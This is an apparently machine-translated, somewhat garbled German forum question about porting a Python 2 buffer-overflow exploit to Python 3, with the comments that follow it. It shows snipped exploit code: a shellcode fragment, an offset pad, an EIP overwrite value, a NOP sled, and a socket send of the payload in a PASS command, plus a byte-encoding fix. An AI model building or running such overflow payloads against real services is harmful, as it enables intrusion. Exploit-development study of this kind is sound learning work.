erkennen ich, dass die Entwicklung ausnutzen mit Python 3 nicht so geradlinig ist, wie es mit Python ist 2.Exploit Entwicklung in Python 3
Wie ich verstehe, ist dies vor allem auf die Socket-Bibliothek und den zusätzlichen byte
Datentyp.
Zum Beispiel konnte ich nicht herausfinden, wie den folgenden Code in Python 3-Code zu übersetzen:
--- SNIP ---
shellcode = ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---
versuchte ich folgendes:
--- SNIP ---
shellcode = ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
--- SNIP ---
Das Problem ist, dass \x90
C2 90
wird in Gedächtnis, es stört mich Stunden, um herauszufinden, dass das Problem von meinem Code kam. Ich vermute auch, dass dies den Shellcode ebenfalls verändern könnte.
Ich mag die richtige Art und Weise lernen, diese
Das heißt, beachten Sie, es gibt ein 2to3-Tool gebündelt mit Python3, die automatisch die meiste Arbeit tun wird, um Python 2 zu Python 3-Code zu konvertieren. Könnte auch hier helfen. – Pascal
@SteffenUllrich Ich war nicht sicher, wo ich diese Frage posten sollte, ich dachte, dass security.stackexchange.com der richtige Ort ist, aber Sie haben einen Punkt, es ist eher ein Programmierproblem. Ich werde diese Frage schließen und sie dann im Stackoverflow öffnen. –
Ich übertrage diese Frage auf stackoverflow. –